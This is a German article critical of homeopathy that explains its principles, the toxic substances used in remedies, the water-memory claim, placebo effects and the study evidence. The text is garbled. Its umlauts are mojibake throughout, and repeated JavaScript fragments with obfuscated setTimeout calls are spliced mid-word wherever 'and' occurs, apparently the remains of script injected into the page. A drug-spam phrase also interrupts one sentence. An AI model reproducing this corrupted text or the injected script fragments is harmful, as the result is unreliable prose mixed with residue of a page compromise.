HomA�opathie: Was sie ist und wie sie wirkt
Krista Federspiel
Die HomA�opathie wurde vor 200 Jahren von dem deutschen Arzt Samuel Hahnemann (1755-1843) begrA?ndet. Seine Ideen gelten HomA�opathen heute noch: Krankheiten seien eine Verstimmung der Lebenskraft. Diagnosen im heutigen Sinn werden daher nicht gestellt.
Die HomA�opathie beruht auf drei Grundprinzipien:
1) A�hnlichkeitsprinzip: Es besagt, gewisse Symptome lieAYen sich durch die Gabe von Mitteln heilen, die bei einem gesunden Menschen A�hnliche Symptome hervorrufen. Z.B. soll zerriebene Biene bei schmerzhaften Schwellungen helfen, weil Bienenstiche solche hervorrufen kA�nnen.
2) Prinzip der Potenzierung: Ausgangsstoffe (a�zUrsubstanzen)a�? werden schrittweise in Wasser bzw. einem Wasser-Alkohol-Gemisch verdA?nnt und verschA?ttelt, und zwar jeweils in Zehner-, Hunderter- oder sogar 50.000er-Schritten. Entsprechend werden die Mittel mit D (= Dezimal), C (= Centesimal) oder Q bezeichnet. Wird ein Teil Ursubstanz mit neun Teilen LA�sungsmittel verschA?ttelt, wird das als D1 bezeichnet, ein Teil D1 mit neun Teilen LA�sungsmittel ergibt D2 usw. D6 bedeutet demnach, dass auf einen Teil Ursubstanz eine Million Vytorin generic cost Teile LA�sungsmittel kommen. Ein FlA�schchen mit Potenzen jenseits von D24 bzw. C12 enthalten rechnerisch mit grA�AYter Wahrscheinlichkeit kein einziges MolekA?l der Ursubstanz mehr. Solche PrA�parate bezeichnet man als a�zHochpotenzena�?. FA?r HomA�opathie gilt jedoch: Je hA�her verdA?nnt, desto wirksamer die Arznei. Die LA�sung wird entweder in Tropfenform verabreicht oder auf MilchzuckerkA?gelchen a�� Globuli a�� gesprA?ht. Daneben gibt es Salben und InjektionslA�sungen.
3) HomA�opathische ArzneimittelprA?fung: Die Wirkung dieser Medikamente (meist D30) wird nicht, wie A?blich bei Kranken, sondern an Gesunden geprA?ft und dabei auch nicht gegen Placebo kontrolliert. Die Probandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anden notieren alle kA�rperlichen und psychischen Symptome, die sie an sich selbst wahrnehmen. Daraus ergibt sich das a�ztypischea�? a�zArzneimittelbilda�?. Der HomA�opath erfasst die Symptome des Patienten, sucht fA?r dieses a�zSymptomebilda�? das entsprechende a�zArzneimittelbilda�? und wA�hlt so das a�zpassendea�? Mittel aus.
HomA�opathie ist nicht sanft
Die HomA�opathie gilt vielen als nebenwirkungsfreie Medizin. Doch in ihren Mitteln werden giftige Schwermetalle, wie Arsen, Blei, Kadmium und Quecksilber verwendet. Auch wenn in Hochpotenzen diese Stoffe physisch nicht mehr vorhandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anden sind – in niedrigen VerdA?nnungen eingenommen kA�nnen sie zu chronischen Vergiftungen fA?hren. Es werden auch Pflanzen verarbeitet, die das Erbgut schA�digen und die Entstehung von Krebs begA?nstigen kA�nnen. A?berdies werden Gifte wie Schlangengift, Krankheitsstoffe wie Lepra, und auch Absurdes wie Vakuum verdA?nnt und verabreicht.
Wasser hat kein ein GedA�chtnis
Nachdem sich in homA�opathischen Hochpotenzen kein einziges MolekA?l der Ursubstanz mehr befindet, ist eine etwaige physiologische Wirkung mit dem heutigen Standom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and des Wissens in Physik, Chemie und Biologie unvereinbar. HomA�opathen meinen jedoch, die a�zBotschafta�? der Urtinktur wA?rde dem Wasser a�zaufgeprA�gta�?. Das ist nicht mA�glich: Die MolekA?le des Wassers lA�sen und verbinden sich in Bruchteilen von Milliardstel Sekunden, zu kurz fA?r eine a�zErinnerunga�?. A?berdies gibt es kein absolut reines LA�sungsmittel a�� bei jedem VerdA?nnungsschritt kommen wieder neue Verunreinigungen dazu. WA?rde die Potenzierung tatsA�chlich funktionieren, wA?rde man also viel eher verschiedene Verunreinigungen potenzieren als die eigentlichen Wirkstoffe. Es ist reine homA�opathische Spekulation, dass das Wasser nur die nicht mehr vorhandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andene Urtinktur a�zerinnerna�? soll, nicht aber die a�zInformationa�? der vielen andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anderen im Wasser enthaltenen Stoffe.
Wie wirksam Ist HomA�opathie?
Wenn bei Behandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andlungsbeginn die Beschwerden ansteigen, nennt das die HomA�opathie eine a�zErstverschlimmerunga�?. So kann aus der Sicht von HomA�opathen eigentlich nichts schiefgehen: Gehen die Symptome zurA?ck, bezeichnet man das als Erfolg der HomA�opathie a�� werden sie stA�rker, schiebt man das auf die Erstverschlimmerung. FA?r die GlaubwA?rdigkeit der Therapieform spricht das freilich nicht.
a�zMir hat es aber geholfen!a�?, hA�rt man allenthalben. Dieser Glaube beruht zu einem Gutteil auf einem MissverstA�ndnis. Wer ein Mittel einnimmt und in der darauffolgenden Zeit eine Besserung seiner Beschwerden bemerkt, fA?hrt dies oft automatisch auf die Einnahme des Mittels zurA?ck. Doch vieles andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andere kann fA?r eine Besserung verantwortlich sein: Die Krankheit geht von selbst zurA?ck; allein die Hoffnung und die Erwartung auf Hilfe kA�nnen helfen; das lange, wohltuende ErstgesprA�ch mit dem HomA�opathen erleichtert, u.a.m. Aus medizinischer Sicht gilt ein Mittel deshalb erst dann als wirksam, wenn es A?ber Placeboeffekte hinaus eine sogenannte a�zspezifischea�? Wirkung zeigt. Diese Form von Wirksamkeit kann nur in placebokontrollierten klinischen Studien A?berprA?ft werden.
Zu homA�opathischen Mitteln liegen inzwischen weit mehr als 150 Studien vor. Die meisten genA?gen allerdings den wissenschaftlichen Anforderungen nicht. Die methodisch hochwertigen und damit auch aussagekrA�ftigen Studien zeigen insgesamt keine A?ber Placebo hinausgehende Wirksamkeit von homA�opathischen Arzneien.
Die Besserung beruht nicht auf dem HomA�opathikum, sondern der therapeutischen Inszenierung und der allgegenwA�rtigen Werbung: Die HomA�opathie wirkt als gefA�lliges Placebo. Dagegen berufen sich HomA�opathen auf ihre a�zErfahrung und Erfolgea�?. Doch es ist bekannt, dass gerade im medizinischen Bereich a�zErkenntnissea�? vielfach auf SelbsttA�uschung beruhen: Sie sind stark durch selektive Wahrnehmung, selektive Erinnerung und andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andere kognitive Verzerrungen geprA�gt.
HomA�opathie ist eine Scheinmedizin
Die Grundlagen der HomA�opathie sind widerlegt.
HomA�opathie zielt nicht auf die Ursachen einer Erkrankung, sondern nur auf die Symptome. Das bringt die Gefahrmit sich, dass bestehende Krankheiten nicht erkannt und notwendige Behandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andlungen verzA�gert oder versA�umt werden.
HomA�opathie widerspricht der Logik, den Medizinerkenntnissen und den Naturgesetzen.
Sie hat in den 200 Jahren ihres Bestehens nichts zur Forschung und zur Entwicklung der Medizin beigetragen.
Weitere Information:
Edzard Ernst, Simon Singh: Gesund ohne Pillen. Was kann die Alternativmedizin? Hanser Verlag, 2009.